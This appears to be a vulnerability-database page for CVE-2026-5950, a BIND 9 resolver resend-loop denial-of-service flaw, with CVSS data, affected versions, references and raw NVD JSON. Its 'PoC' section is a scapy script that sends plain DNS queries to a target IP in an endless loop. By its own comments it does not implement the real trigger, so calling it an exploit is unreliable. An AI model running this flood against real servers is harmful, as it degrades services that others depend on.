CVE-2026-5950

Description

An unbounded resend loop vulnerability exists in the BIND 9 resolver state machine during bad-server handling, enabling a remote unauthenticated attacker to cause severe resource exhaustion by sending queries that trigger specific retry conditions. This issue affects BIND 9 versions 9.18.36 through 9.18.48, 9.20.8 through 9.20.22, 9.21.7 through 9.21.21, 9.18.36-S1 through 9.18.48-S1, and 9.20.9-S1 through 9.20.22-S1.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

BIND 9.18.36 - 9.18.48

BIND 9.20.8 - 9.20.22

BIND 9.21.7 - 9.21.21

BIND 9.18.36-S1 - 9.18.48-S1

BIND 9.20.9-S1 - 9.20.22-S1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# This is a conceptual PoC to simulate the traffic described.
# Requires scapy: pip install scapy

from scapy.all import IP, UDP, DNS, DNSQR, send
import random

target_ip = "192.168.1.100"  # Replace with target IP

def send_malicious_dns():
    # Craft a DNS query that might trigger bad-server handling logic
    # The exact trigger depends on the specific vulnerability details
    pkt = IP(dst=target_ip) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="example.com", qtype="A"))
    
    print(f"[*] Sending packet to {target_ip}...")
    send(pkt, verbose=0)

if __name__ == "__main__":
    try:
        while True:
            send_malicious_dns()
    except KeyboardInterrupt:
        print("[+] Stopped.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5950
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5950
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5950/
[4] VulDB https://vuldb.com/cve/CVE-2026-5950
[5] https://downloads.isc.org/isc/bind9/9.18.49
[6] https://downloads.isc.org/isc/bind9/9.20.23
[7] https://downloads.isc.org/isc/bind9/9.21.22
[8] https://kb.isc.org/docs/cve-2026-5950

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5950", "sourceIdentifier": "[email protected]", "published": "2026-05-20T13:16:40.450", "lastModified": "2026-05-20T14:04:57.320", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unbounded resend loop vulnerability exists in the BIND 9 resolver state machine during bad-server handling, enabling a remote unauthenticated attacker to cause severe resource exhaustion by sending queries that trigger specific retry conditions.\nThis issue affects BIND 9 versions 9.18.36 through 9.18.48, 9.20.8 through 9.20.22, 9.21.7 through 9.21.21, 9.18.36-S1 through 9.18.48-S1, and 9.20.9-S1 through 9.20.22-S1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-606"}]}], "references": [{"url": "https://downloads.isc.org/isc/bind9/9.18.49", "source": "[email protected]"}, {"url": "https://downloads.isc.org/isc/bind9/9.20.23", "source": "[email protected]"}, {"url": "https://downloads.isc.org/isc/bind9/9.21.22", "source": "[email protected]"}, {"url": "https://kb.isc.org/docs/cve-2026-5950", "source": "[email protected]"}]}}